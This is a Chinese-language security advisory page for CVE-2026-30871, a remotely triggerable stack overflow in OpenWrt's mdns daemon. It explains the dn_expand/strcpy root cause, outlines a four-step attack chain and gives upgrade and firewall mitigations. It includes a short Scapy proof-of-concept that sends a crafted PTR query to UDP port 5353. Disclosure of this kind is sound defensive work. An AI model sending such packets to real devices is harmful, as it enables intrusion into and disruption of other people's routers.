IPBUF安全漏洞报告
English
CVE-2026-30871 CVSS 9.8 严重

CVE-2026-30871 OpenWrt mDNS栈溢出漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-30871
漏洞类型
栈溢出
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenWrt Project

相关标签

栈溢出OpenWrtRCE缓冲区溢出mDNS

漏洞概述

OpenWrt项目24.10.6和25.12.1之前版本的mdns守护进程中存在栈溢出漏洞。攻击者可利用反向DNS查询触发该漏洞,通过构造恶意DNS包导致栈缓冲区溢出,从而可能实现远程代码执行,对系统造成严重安全风险。

技术细节

该漏洞位于OpenWrt mdns守护进程的`parse_question`函数中。当系统在UDP 5353端口接收并处理针对反向DNS域(如.in-addr.arpa和.ip6.arpa)的PTR查询时触发。漏洞成因在于`dn_expand`函数会将数据包中的非打印ASCII字节(例如0x01)转换为多字符的八进制表示形式(例如\001),并将转换后的数据放入8096字节的全局缓冲区。随后,代码使用无边界检查的`strcpy`将此数据复制到固定大小仅为256字节的栈缓冲区中。这种膨胀机制导致数据量极易超出栈缓冲区容量,从而引发栈溢出,允许攻击者通过普通的组播DNS包处理流程进行利用。

攻击链分析

STEP 1
侦察
攻击者扫描网络寻找开放UDP 5353端口(mDNS)且运行受影响OpenWrt版本的设备。
STEP 2
构造恶意数据包
攻击者构造特制的DNS PTR查询包,其中包含大量非打印ASCII字符(如0x01),这些字符会被`dn_expand`函数展开。
STEP 3
触发漏洞
将恶意数据包发送至目标设备的UDP 5353端口,mdns守护进程处理该请求时,展开后的数据通过`strcpy`溢出256字节的栈缓冲区。
STEP 4
执行代码
利用栈溢出覆盖返回地址或关键指针,劫持程序执行流,最终在目标设备上执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
from scapy.all import * # Define the target IP and Port target_ip = "192.168.1.1" target_port = 5353 # Craft a malicious PTR query # The payload contains non-printable characters (0x01) that dn_expand expands to \001 # This expansion causes the overflow in the 256-byte stack buffer. malicious_name = b"\x01" * 100 + b".in-addr.arpa" # Construct DNS packet dns_pkt = IP(dst=target_ip)/UDP(dport=target_port)/DNS(rd=1, qd=DNSQR(qtype=12, qname=malicious_name)) # Send the packet send(dns_pkt) print(f"Sent malicious PTR query to {target_ip}")

影响范围

OpenWrt < 24.10.6
OpenWrt < 25.12.1

防御指南

临时缓解措施
建议立即升级至OpenWrt 24.10.6或25.12.1及以上版本。如果无法立即升级,可考虑在防火墙中阻断UDP 5353端口的入站流量,或临时禁用mdns服务以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表